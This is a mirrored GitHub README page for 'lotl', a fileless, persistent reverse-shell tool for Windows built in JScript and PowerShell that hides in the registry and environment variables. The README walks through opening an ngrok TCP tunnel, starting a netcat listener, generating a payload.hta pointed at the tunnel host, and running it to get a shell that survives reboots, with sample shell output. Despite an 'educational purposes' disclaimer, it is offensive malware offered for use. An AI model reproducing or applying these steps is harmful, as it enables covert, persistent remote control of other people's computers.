GithubHelp home page GithubHelp logo

null-byte-00 / lotl Goto Github PK

View Code? Open in Web Editor NEW
84.0 2.0 23.0 119 KB

Living Off The Land (LOTL) persistent Reverse shell

License: GNU General Public License v3.0

HTML 61.27% JavaScript 2.61% Python 18.02% PowerShell 18.10%
jscript living-off-the-land lotl malware powershell python reverse-shell

lotl's Introduction

Living off the land (LOTL) persistent reverse shell for windows

This is a fileless living off the land reverse shell written in JScript and Powershell script. It runs every time the windows boots and relies solely on windows registry and environment variables to execute without creating any files on the system
Disclaimer: this program is only for educational purposes

Proof of concept

WARNING: Since editing windows registries can cause some problems, I really recommend running this program on a virtual machine
download the repository and run POC.hta file on your windows system
Now every time you reboot your windows a messagebox with 'living off the land' message will appear alt text

Reverse shell

In this case I'm using ngrok to make a tcp tunnel:

ngrok tcp 3333

then we run netcat to listen on port 3333

nc -nvlp 3333

creating payload

Now we can create out payload with our ngrok tunnel's domain and port

python.exe generator.py 8.tcp.ngrok.io 18053 payload.hta

all you have to do now is to run payload.hta in your windows machine and you get a reverse shell

┌─[parrot@parrot]─[~]
└──╼ $nc -nvlp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 50662
> echo hello
hello
> 

this reverse shell is persistent meaning every time you boot the windows the payload will execute

lotl's People

Contributors

null-byte-00 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.